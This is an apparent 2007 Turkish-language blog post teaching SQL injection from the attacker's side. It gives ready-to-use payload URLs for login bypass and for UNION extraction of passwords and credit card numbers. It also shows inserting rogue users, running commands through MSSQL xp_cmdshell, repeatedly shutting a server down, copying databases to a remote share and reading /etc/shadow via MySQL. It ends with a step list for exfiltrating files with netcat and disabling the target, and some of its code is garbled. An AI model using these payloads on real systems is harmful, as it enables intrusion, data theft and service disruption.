Tuesday, July 10, 2007

SQL Injection

SQL Injection(SI)'nin calisma mantigi nedir?

Sql injecktion web aplikasyonu ustunden databasede oynamalar yapmamizi saglayan bir cesit input manipulasyonudur, serverda beklenmedik sql komutlari calistirarak istediginiz veriyi silebilir, ekleyebiliriz, sifreleri gecersiz kilip sisteme girebiliriz.Meselea asagidaki ornekte database gonderilen normal bir sql statementini gormektesiniz.

kod:
1:
SELECT name FROM userlist WHERE uid='$user_id' AND pwd='$password';


bu statement kullanicidan aldigi $user_id ve $password degiskenlerini database bildirmektedir. Mesela asagidaki ornek script bu isi icra eder.

php:
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
URL = HTTP.GetFromUser()
user_id = URL.parameter("'user_id"')
password = URL.parameter("'
password"')
query = "'SELECT name FROM userlist WHERE uid='"' + user_id
+ "''
AND pwd='"' + password + "'';"'
database.connect()
result = database.execute(query)
if result
HTTP.Send("'
Login successful. Welcome, "' + result)
IsAuthenticated = true
else
HTTP.Send("'User ID or password is incorrect."'
)
IsAuthenticated = false
end
if
if
IsAuthenticated
HTTP
.Send(MainMenu)
end if


Kullanicinin bilgilerini girdigi url ciktisi ise asagidadir:

php:
1:
https://website/login.cgi?user_id=whoami&password=root 


Eger girilen veriler dogrusu ise program kullanciya giris haklarini verecektir. Simdi de olaya bir de tersinden bakalim, Eger SI sokarsak durum ne olur??
php:
1:
http://website/login.cgi?password=root';%20-- 


Kullandigimiz parametreyi encode de edebiliriz bu sekilde ihtimal dahilindeki filtrelemeleri de gecebilme sansina sahib olabiliriz.Burada SI sirasinda kullandigimiz parametre (--) double dash'tir. Sql dilinde double dash aslinda yazilan satirin bir yorum satiri oldugunu gosterir, Yani bu ornekte $password degiskenine ek olarak double dash da ekledigimiz zaman sql bunu bir yorum satiri sanarak yorumlamayip es gecmektedir.

Select Statement Manipulasyonu:

Yine cok bilinen bir yomtem de Select statementina dogru olan bir durum eklenmesidir. mesela:

php:
1:
2:
3:
https://website/login.cgi?user_id=whoami&password='%20OR%20''%3d'

SELECT name FROM userlist WHERE uid='whoami' AND pwd='' OR '='';

veya:
php:
1:
2:
3:
https://website/login.cgi?user_id=dcooper&password=foo%20OR%201%3d1

SELECT name FROM userlist WHERE uid=whoami AND pwd=foo OR 1=1;

bu tip saldirilari eger hedef sistemiin hem kullanici adi hem de password degiskenlerine karsi kullanip da basarili olursaniz genellikle tabledaki ilk userin haklari ile sisteme girersiniz, ki bu sanssiz kisi de genellikle admin olur.

php:
1:
2:
3:
https://website/login.cgi?user_id='%20OR%20''%3d'&password='%20OR%20''%3d'

SELECT name FROM userlist WHERE uid='' OR '=' AND pwd='' OR '=';


ek olarak eger bu islem basarili olupda girdiginiz querynin sonucu browsera dokuluyorsa, o zaman url satirindan joker karakter olan % karakteri ile tum kullanicilarin adlarina ulasabilirsiniz. dikkat etmeniz gereken nokta % karakterinin encode olarak yazmalisiniz.

php:
1:
2:
3:
https://website/login.cgi?user_id=%25';--

SELECT name FROM userlist WHERE uid='%';--' AND pwd='';


URL ustunden girisirken bosluk karakteri muhakkak encode olmalidir (%20), ya da bosluk karakteri yerine + karakteri kullanilmalidir.


SELECT AND UNION ile veri cekme:

php:
1:
2:
3:
https://website/login.cgi?user_id=foo&password='+UNION+ALL+SELECT+uid,+pwd+FROM+userlist+WHERE+''%3d'

SELECT name FROM userlist WHERE uid='foo' AND pwd='' UNION ALL SELECT uid, pwd FROM userlist WHERE '='';


Bu da select and union ile farkli bir tabledaki veriyi ceken bir statement ornegi.dikkat ediyorsaniz bosluk karakteri yerine + karakterini kullaniyoruz.

php:
1:
2:
3:
https://website/login.cgi?user_id=foo&password=%27+UNION+ALL+SELECT+first%5fname%2clast%5fname%2cccard+FROM+store+WHERE+%27%27%3d%27%27;

SELECT name FROM userlist WHERE uid='foo' AND pwd='' UNION ALL SELECT first_name,last_name,ccard FROM store WHERE '='';


INSERT komutu ile database modifiye etmek:

Standart olarak su sekilde kullanilir:
php:
1:
INSERT INTO user (User,Password) VALUES(albert','camus');


URL uzerinde calisirken:
php:
1:
https://website/login.cgi?user_id=&password=%27;+INSERT+INTO+userlist+%28uid%2cpassword%29+VALUES%28%27albert%27%2c%27camus%27%29;--+ 

bu da script icindeki sekli:
php:
1:
SELECT name FROM userlist WHERE uid='' AND pwd=''; INSERT INTO userlist (uid,password) VALUES(albert','camus');-- ;


Bu islemler ile asil amacimiz database yeni bir kullanici eklemek, yanliz dikkat edilmesi gereken bir husus sifrenin genellikle bos birakilmasi gerektigidir, cunku genellikle cogu server plain text password yerine hash bekledigi icin bu bizim icin ekstra is demektir, bu nedenle bos kullanmak daha mantiklidir.

SI yaparken gordugunuz gibi hedef databasin yapisini iyi bilmek gerekir, tabiki table isimleri, deigsken adlari, o serverin standart degiskenlerini hepsini iyi bilmek gerekmektedir. bunun icin hem temel bilginiz olmali hem de servera verdirdiginiz hata mesajlarini cok iyi analiz etmeniz gerekmektedir. asagidaki sema da bazi sql serverlarin hakkinda temel bilgiler gosterilmistir, dikkarle incelemeniz onerilir. Bir altindaki semada ise bazi cok yaygin olarak kullanilan sql stringleri gosterilmistir.






Simdi sirayla SQL kullanan serverlari inceleyelim:

MSSQL:

SI calistirabilecek mssql serverlari bulmanin en kolay yolu URL ustundeki parametlere ' tek tirnak karakteri eklemektir. vulnerable olan serverlarda bizlere cesitli bilgiler sunacak olan hata mesajlari vereceklerdir. Asagida bu tip hata mesajlarindan 3 tanesi verilmistir.

php:
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
//Warning: SQL error: [Microsoft][ODBC SQL Server Driver]
// [SQL Server] Unclosed quotation mark before the characte
// string '??'., SQL state 37000 in SQLExecDirect in
// D:\icp_php\dvd\glossary.php on line 52

//[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure
//'individual_demographic_sel' expects parameter
//'[at]individual_id', which was not supplied.
///registration/demographic.asp, line 7

//[ODBC error 1814: (37000) [Microsoft][ODBC SQL Server
// Driver][SQL Server]Incorrect syntax near the
// keyword 'and'.]


Asagidaki orneklere bakarsaniz mssqlin sadece asp calistiran IISlerde calismadigini da anlarsiniz

php:
1:
2:
3:
4:
5:
6:
7:
8:
9:
//Warning: SQL error: [Microsoft][ODBC SQL Server Driver]
//Communication link failure, SQL state 08S01 in
//SQLExecDirect in C:\Apache2\htdocs\Dunaj\db.php on line 386
//Microsoft OLE DB Provider for ODBC Drivers error '80040e09'

//[Microsoft][ODBC SQL Server Driver][SQL Server]EXECUTE
//permission denied on object 'sp_calusertype', database
//'EventCal', owner 'dbo'.
///queries/MaintainEvents.asp, line 47


Mssqlde SI calisirken saldiriniza renk katan en onemli ozelligi acik olan serverlarin ayni xplerdeki cmd.exe gibi bir shell aclistirmaniza olanak saglamasi ve bir takin komutlari calistirabilmesidir. bunlarin arasinda en sik bilineni xp_cmdshell komutudur.

php:
1:
EXEC master.xp_cmdshell command'


URL uzerinden girisirken
php:
1:
https://website/vuln.cgi?param=';xp_cmdshell+ipconfig+/all'+;-- 


Ek olarak acik olan mssqllerde calistirabileceginiz komutlar asagidaki semada verilmistir. Sekillerdeki komutlari neten daha sonra ayrintili olarak ogrenmeye calismaniz gerekmektedir



Bir kac ornek vermek gerekirse SI acigi olan bir mssqli SHUTDOWN WITH NOWAIT; komtu ile remote olarak kapatabilirsiniz, server online olunca tekrar kapatabilirsiniz, artik en zaman ids loglarini inceleyip server admini cakarsa o zamana kadar server ile mum sondu oynayabilirsiniz. Bir baska ornek ise BACKUP database master to disk='\\ipaddress\share\bak.dat'; komutu ile whole databasei baska bir konuma kopyalayabilirsiniz.(bu komutun calismasi icin kendi bilgisayarinizda bir paylasim acmaniz gerekmektedir)

Faydali objectker ve Degiskenler:
Mssqlde internal degiskenler [at][at] on adi ile tanimlanilar ve basit SELECT statementlari ile kullanilabilirler. Asagidaki semada bahsettigimiz internal degisken ve objectlerin listesini bulabilirsiniz.



MYSQL:

Mysqlde yorum satiri aksiyonunundan bahsetmistik ufak bir kac eklemeyle tekrar ustunden gecelim. Mysqlde yorum satiri --%20 veya # veya /* hello world */ seklinde olabilir. Bunu nerde kullandigimiz yukarda yazmistik.


Dosya Sisteminden Veri Cekmek:
Mysqlin dosya okumamiza saglayan bir kac komutu vardir, bu komutlar eger dosya okunabilir erisime sahip ise ve database klasorunun (datadir degiskeninin degeri yani) altinda ise dosya okumamizi saglar, kissadan hisse yazmak gerekirse eger mysql kaza ile ! root olarak calistirilirsa o zaman /etc/shadowdan hashlari alabilirsiniz.bu durumda hashlari almak 3 basamaktan olusmaktadir. 1. hashlarin icinde bulundugu table yazmak, veya halihazirda boyle bir table bulunabilir, 2. bu tablein icini /etc/shadow ile doldurmak icin LOAD DATA INFILE komutunu calistirmak, 3. kendi yaptigimiz tablein icindeki ilk satiri SELECT komutu ile cekmek.gosterirsek:

php:
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
//mysql> CREATE TABLE foo (bar TEXT);
//Query OK, 0 rows affected (0.02 sec)
//mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE foo;
//Query OK, 27 rows affected (0.02 sec)
//Records: 27 Deleted: 0 Skipped: 0 Warnings: 0
//mysql> SELECT * FROM foo;
//+---------------------------------------------------------+
//| bar |
//+---------------------------------------------------------+
//| root:x:0:0:root:/root:/bin/bash |
//
//| mike:x:500:500:mike:/home/mike:/bin/bash |
//| mysql:x:78:78:MySQL server:/var/lib/mysql:/bin/bash |
//| postgres:x:79:79:system user:/var/lib/pgsql:/bin/bash |
//+---------------------------------------------------------+
//27 rows in set (0.02 sec)


URL uzerinden calisirken suna benzer parametreler gorebilirsiniz:

php:
1:
2:
3:
https://website/vuln.cgi?param=%27';+CREATE+TABLE+foo+%28bar+TEXT%29;
https://website/vuln.cgi?param=%27;+LOAD+DATA+INFILE+%27%2fetc%2fshadow%27+INTO+TABLE+foo;
https://website/vuln.cgi?param=%27;+SELECT+%2a+FROM+foo;

Dosya Sistemine Veri Yazmak:

Eger web server ve database server ayni hostda degilse ve mysql userin yazma hakki yoksa web root dizinine dosya yazamazsiniz.

OZET YAPARSAK::!::
yukarda bazi temel hack tiplerinden bahsettik fakat kompresif bir metedolojiden bahsetmedik, yani olayin sistemedigini soylemedik, simdi bu hatamizi telafi edicegiz

- Hangi parametrenin hata verdirdigin bulmeya calisin. %00, %27, %3B gibi parametleri kullanip, serverin verdigi hatalari cok iyi analiz edin.
- Hatalar icinde database, column ve table isimlerini arayin.
- Standart degiskenleri kullanarak sistem hakkinda bilgi sahibi olmaya calisin.
- Standart database objelerini sorgulayin (database. table. column isimleri)
- Use OR TRUE = TRUE komutu loginleri bypass edin.
- Buldugunuz standart database tablelarin icine istediginiz bilgiyi yerlestirin.
- xp_cmdshell 'le server ustunde komut calistirmaya calisilin
-ftp,tftd veya netcata dosya godnermeye calisin
-dosyalari web root klasore kopyalayin
-onemli konfigurasyon dosyalarinin ustune istediginiz verileri yazin
-sistemi iptal edin

No comments: